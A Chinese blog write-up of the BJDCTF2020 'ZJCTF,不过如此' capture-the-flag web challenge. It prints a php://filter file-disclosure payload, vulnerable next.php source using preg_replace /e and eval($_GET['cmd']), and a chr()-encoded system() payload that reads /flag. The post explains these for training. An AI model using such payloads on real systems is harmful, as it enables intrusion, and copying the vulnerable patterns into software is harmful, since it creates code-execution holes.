首页 > 其他分享 >[BJDCTF2020]ZJCTF,不过如此

[BJDCTF2020]ZJCTF,不过如此

时间:2024-11-17 23:29:54浏览次数:1  
标签:php 不过如此 ZJCTF next re chr str BJDCTF2020 97

题目链接:[BJDCTF2020]ZJCTF,不过如此

打开环境,如下所示。

一个简单的伪协议,直接使用 Data 伪协议即可通过检测,随后使用文件包含来查看 next.php 文件源码。

Payload:?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

得到 next.php 源码如下。

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

首先解释一下 next.php 中的源码的内容。

# 遍历 $_GET 数组,并将数组中的键跟值分别设置为 $re 与 $str,并调用 complex($re, $str)
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
# 将 $str 中的 $re 的内容转换为小写
function complex($re, $str) {
    return preg_replace(
        # 动态正则表达式(注意,\e 代码执行)
        '/(' . $re . ')/ei',
        # 第一个子匹配项转化为小写
        'strtolower("\\1")',
        $str
    );
}

可以看到,存在 preg_replace 函数,并且存在 "/e" 参数(但是实际上本题与 "/e" 参数的关系不大)。

以下先给出 Payload 再进行解释。

Payload:/next.php?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}

解析:

  1. PHP 的可变变量,即:${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))} 会在 preg_replace 函数执行前执行,并返回值。
  2. $re = \S*,匹配所有的非空字符。
  3. 匹配成功,成功的执行了 ${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}

参考链接:

  1. 深入研究preg_replace与代码执行
  2. [BJDCTF2020]ZJCTF,不过如此

标签:php,不过如此,ZJCTF,next,re,chr,str,BJDCTF2020,97
From: https://www.cnblogs.com/imtaieee/p/18551396

相关文章

  • [ZJCTF 2019]NiZhuanSiWei 1
    [ZJCTF2019]NiZhuanSiWei1打开实例,发现为代码审计,确认为文件包含漏洞需要三个参数text、file、password,首先是text验证,逻辑显示text必须有值,且读取文件内容得是welcometothezjctf采用读取本地文件绕过,在E盘新建文件发现无效尝试data流?text=data://,welcometothe......
  • [BJDCTF2020]Easy MD5
    题目链接:https://buuoj.cn/challenges#[BJDCTF2020]EasyMD5打开环境后如下所示。响应包如下。HTTP/1.1200OKServer:openrestyDate:Fri,25Oct202415:20:01GMTContent-Type:text/html;charset=UTF-8Connection:keep-aliveVary:Accept-EncodingX-Powered-By:......
  • [ZJCTF 2019]NiZhuanSiWei
    题目链接:https://buuoj.cn/challenges#[ZJCTF2019]NiZhuanSiWei打开环境后如下所示。<?php$text=$_GET["text"];$file=$_GET["file"];$password=$_GET["password"];if(isset($text)&&(file_get_contents($text,'r')===......
  • [BJDCTF2020]The mystery of ip
    打开靶机,根据题目提示找到如下页面抓包,尝试修改ip发现回显改变第一印象以为是xss漏洞,控制回显点,alert弹框也能正常触发却不知道接下来该怎么进行下去查阅资料发现此处是ssti模板漏洞,也就是说此处ip值作为一个变量会被执行并回显所以尝试{system("ls/")}发现目标获取flag{s......
  • [BJDCTF2020]ZJCTF,不过如此
    打开题目就是源码看到使用file_get_contents()函数打开text,看到file就想到了文件包含,但是本题使用file://协议并不行,里边有个封装的text文件,需要使用data://协议php5.2.0起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。使用方法为:data:......
  • [BJDCTF2020]The mystery of ip
    (PHP的Twig模版注入漏洞,Smarty模板的SSTI漏洞)打开题目目录扫描,扫出来DS_Store、flag.php、header.php,访问flag.php访问header.php,flag就是上面那个点击hint在flag.php中有IP,题目翻译过来就是ip的奥秘,推测有x-forword-for注入,抓一下包修改请求头,添加一个X-Forwarded-......
  • [ZJCTF 2019]NiZhuanSiWei
    启动靶机,查看源代码查询file_get_contents()函数这里传入的text必须是个文件且文件内容为welcometothezjctf这里我们使用data伪协议将内容写入?text=data://text/plain,welcometothezjctf往下看有个正则表达式过滤flag,继续往下很明显是php的反序列化利用,却没有看......
  • [BJDCTF2020]Cookie is so stable
    首先这题flag模块有个登录页面抓包可以看到user=123,最后会返回hello123,这里就很像ssti注入,输入user={{2*3}}最后也是返回成功了,而且处理器是php,常见模块有:twig,smarty,blade输入user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}......
  • [BJDCTF2020]Mark loves cat
    这题进去是一个网页,最后发现没有什么东西,最后查看源码发现,在源码的最后输出了一个dog这里就断定肯定存在一些隐藏的文件,最后通过kali扫描也是发现了一些.git文件,然后就想到了git源码泄露,但是不知道为什么我的扫描不出,就只好在网上找了大佬的代码了index.php<?phpinclude'......
  • 呵,老板不过如此,SQL还是得看我
    2018年7月,大三暑假进行时,时间过得飞快,我到这边实习都已经一个月了。我在没工作之前,我老是觉得生产项目的代码跟我平时自学练的会有很大的区别。以为生产项目代码啥的都会规范很多,比如在接口上会做很多安全性的工作(自学练的时候确实学到的类似的案例),代码设计上会有很多设计模式的应......